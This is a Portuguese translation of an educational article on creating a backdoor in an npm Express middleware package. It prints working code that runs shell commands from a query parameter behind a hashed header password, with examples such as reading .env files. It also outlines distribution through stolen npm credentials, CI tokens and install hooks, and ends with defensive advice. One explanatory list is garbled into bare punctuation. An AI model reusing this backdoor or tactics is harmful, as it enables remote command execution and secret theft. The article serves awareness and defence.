Conheça o seu inimigo: crie um backdoor do Node.js.

Um backdoor em seu próprio código, que pode interagir perfeitamente com o sistema operacional, é um dos piores pesadelos de qualquer desenvolvedor. Atualmente, o npm possui mais de 1,2 milhão de pacotes públicos. Nos últimos três anos, vícios em projetos tornaram-se um alvo ideal para cibercriminosos. O ecossistema npm pode ser surpreendentemente frágil se a comunidade de desenvolvimento não prestar muita atenção à segurança. Como evidência dessa idéia, basta recordar o typosquatting e o incidente com o pacote npm do fluxo de eventos. O autor do artigo, cuja tradução estamos publicando hoje, deseja, para fins educacionais, falar sobre como criar backdoors para a plataforma Node.js.





O que é um backdoor?


Aqui está a definição de "backdoor" fornecida no recurso Malwarebytes : "No campo da segurança cibernética, um backdoor é qualquer método pelo qual usuários autorizados e não autorizados podem ignorar medidas de segurança comuns e obter acesso root de alto nível a um sistema de computador, aplicativo de rede. Depois de obter esse acesso ao sistema, os cibercriminosos podem usar um backdoor para roubar dados pessoais e financeiros, instalar malware adicional e invadir dispositivos. ”

O backdoor consiste em duas partes principais:

  1. Código malicioso incorporado e executado em um sistema atacado
  2. Um canal de comunicação aberto que permite que um invasor envie comandos para um backdoor e controle um computador remoto.

O backdoor instalado no computador recebe comandos em resposta aos quais executa determinadas ações. Estes podem ser comandos destinados a extrair informações valiosas do sistema, como variáveis ​​ambientais, ou projetados para executar um ataque ao banco de dados. Além disso, a execução de tais comandos pode resultar em uma alteração em outros processos que afetam um único computador ou toda a rede. A escala do ataque depende das permissões que o aplicativo infectado possui. No nosso caso, estamos falando de um aplicativo escrito para a plataforma Node.js.

Para criar uma versão simplificada do programa que implementa o ataque acima, usaremos o módulo padrão child_process para executar o código. Para estabelecer comunicação com o backdoor, usamos um servidor HTTP. Aconselho você a usar a estrutura Express neste caso, conhecida por seus enormes recursos, mas o que será discutido pode ser implementado usando outras ferramentas adequadas.

Por que precisamos de child_process?


O módulo Node.js padrão child_processpode ser usado para iniciar processos filho. A idéia principal aqui é que ela nos dá a oportunidade de executar comandos (entrando no processo através de um fluxo de entrada padrão - stdin) como pwdou ping snyk.io, e depois integrar o resultado desses comandos (a saída vem do fluxo de saída - stdout) e possíveis mensagens de erro (de stream stderr) para o programa principal.


A execução do processo e seu relacionamento com os fluxos de entrada, saída e erro padrão, que desempenham a função dos fluxos de entrada e saída para um processo do sistema em execução.Existem

várias maneiras de executar processos filhos. Para esse ataque, é mais fácil usar uma funçãoexecque permita retornar a chamada e colocar nos buffers apropriados o que entra nos fluxosstdoutestderr. Por exemplo, o que será emitido como resultado do comandocat passwords.txt. Observe que uma funçãoexecnão é a melhor maneira de executar tarefas longas, comoping snyk.io.

const  {exec} = require('child_process');

exec('cat .env', (err, stdout, stderr) => {
  if(err) throw err
  if(stderr) return console.log(`Execution error: ${stderr}`)
  console.log(`Env file content:  ${stdout}`)
})

Como combinar a função exec com o servidor HTTP?


Desenvolvi um pacote de middleware de redirecionamento de navegador simples e de aparência inocente para aplicativos Express. Ele redireciona usuários não-Chrome para browsehappy.com . Vou incluir código malicioso neste pacote.

O código do pacote será algo como isto:

const useragent = require('useragent');

module.exports = () => (req, res, next) => {   
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

É suficiente para a vítima instalar o pacote e usá-lo no aplicativo Express da mesma maneira que usa qualquer pacote na camada intermediária:

const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
 
const app = express();
 
app.use(browserRedirect())
app.use(helmet())
 
app.get("/", (req, res)=>{
    res.send("Hello Chrome User!")
})
 
app.listen(8080)

Observe que, neste caso, mesmo se usado Helmet, isso não protege o aplicativo contra ataques.

Código malicioso


A implementação do código malicioso é bastante simples:

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
 
module.exports = () => (req, res, next) => {
    //  
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    //  
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

Como funciona o nosso backdoor? Para responder a esta pergunta, considere o seguinte:

  1. , . . md5- ( p@ssw0rd1234 c4fbb68607bcbb25407e0362dab0b2ea). knock_knock. , , , .
  2. , . , . Content-Sec-Policy, Content-security-policy. — . . Shodan, : /search?query=Content-Sec-Policy%3A+default-src+%27self%27.
  3. ?cmd . . victim.com/?cmd=whoami ?cmd=cat .env JSON.


Agora que o código do backdoor está pronto, você precisa pensar em como distribuir o pacote malicioso.

O primeiro passo é publicar o pacote. browser-redirect@1.0.2Publiquei o pacote em npm. Mas se você olhar o repositório GitHub do projeto, o código malicioso não estará lá. Veja você mesmo - dê uma olhada no ramo principal do projeto e na versão 1.0.2 . Isso é possível devido ao fato de o npm não verificar o código dos pacotes publicados com o código publicado em algum sistema projetado para funcionar com o código-fonte.

Embora o pacote seja publicado no npm, suas chances de distribuição ainda são muito baixas, pois as vítimas em potencial ainda precisam encontrá-lo e instalá-lo.

Outra maneira de distribuir um pacote é adicionar um módulo malicioso como uma dependência para outros pacotes. Se um invasor tiver acesso a uma conta com os direitos de publicação de algum pacote importante, ele poderá publicar uma nova versão desse pacote. As dependências da nova versão do pacote também incluirão um backdoor. Como resultado, estamos falando sobre a inclusão direta de um pacote malicioso nas dependências de um projeto popular (dê uma olhada na análise do incidente que ocorreu com o fluxo de eventos). Como alternativa, um invasor pode tentar fazer PR em um projeto fazendo as alterações apropriadas no arquivo de bloqueio. Leia aqui .

Outro fator importante que precisa ser levado em consideração é o fato de o invasor ter acesso às credenciais (nome de usuário e senha) de alguém que está apoiando um determinado projeto popular. Se um invasor tiver esses dados, ele poderá facilmente lançar uma nova versão do pacote - exatamente como aconteceu com o eslint .

Mas mesmo se alguém que apóia o projeto usa autenticação de dois fatores para publicá-lo, ele ainda corre o risco. E quando um sistema de integração contínua é usado para implantar novas versões do projeto, a autenticação de dois fatores deve ser desativada. Como resultado, se um invasor puder roubar um token de NPM em funcionamento para um sistema de integração contínua (por exemplo, de logs acidentalmente tornados públicos, de vazamentos de dados e de outras fontes similares), ele poderá implantar novas versões que contêm código malicioso .

Observe que a nova API foi lançada .(ainda no status beta privado), que permite descobrir se o pacote foi publicado usando o endereço IP da rede TOR e se a autenticação de dois fatores foi usada na publicação.

Além disso, os invasores podem configurar o código malicioso para que seja executado na forma de um script que é executado antes da instalação ou após a instalação de qualquer pacote npm. Existem ganchos de ciclo de vida padrão para pacotes npm que permitem executar o código no computador de um usuário em um horário específico. Por exemplo, um sistema para organizar projetos de teste em um navegador, Puppeteer , usa esses ganchos para instalar o Chromium em um sistema host.

Ryan Dahl já dissesobre essas vulnerabilidades no JSConf EU 2018. A plataforma Node.js. precisa de um nível mais alto de proteção para evitar esse e outros vetores de ataque.

Aqui estão algumas conclusões do estudo de segurança de software de código aberto:

  • 78% das vulnerabilidades são encontradas em dependências indiretas, o que complica o processo de eliminação de tais vulnerabilidades.
  • Ao longo de 2 anos, houve um aumento de vulnerabilidades nas bibliotecas em 88%.
  • 81% dos entrevistados acreditam que os próprios desenvolvedores devem ser responsáveis ​​pela segurança. Além disso, eles acreditam que os desenvolvedores não estão bem preparados para isso.

Resultados: como se proteger de backdoors?


Controlar dependências nem sempre é fácil, mas algumas dicas podem ajudá-lo com isso:

  • Use bibliotecas conhecidas e com suporte.
  • Envolva-se na vida da comunidade e ajude aqueles que apóiam as bibliotecas. A ajuda pode incluir a escrita de código ou o suporte financeiro a projetos.
  • Use o NQP para analisar as novas dependências do seu projeto.
  • Use o Snyk para se manter a par das vulnerabilidades e monitorar seus projetos.
  • Analise o código das dependências que você está usando, armazenadas em npm. Não se limite a visualizar o código do GitHub ou de outros sistemas similares.

Queridos leitores! Como você protege seus projetos usando o código de outra pessoa?


All Articles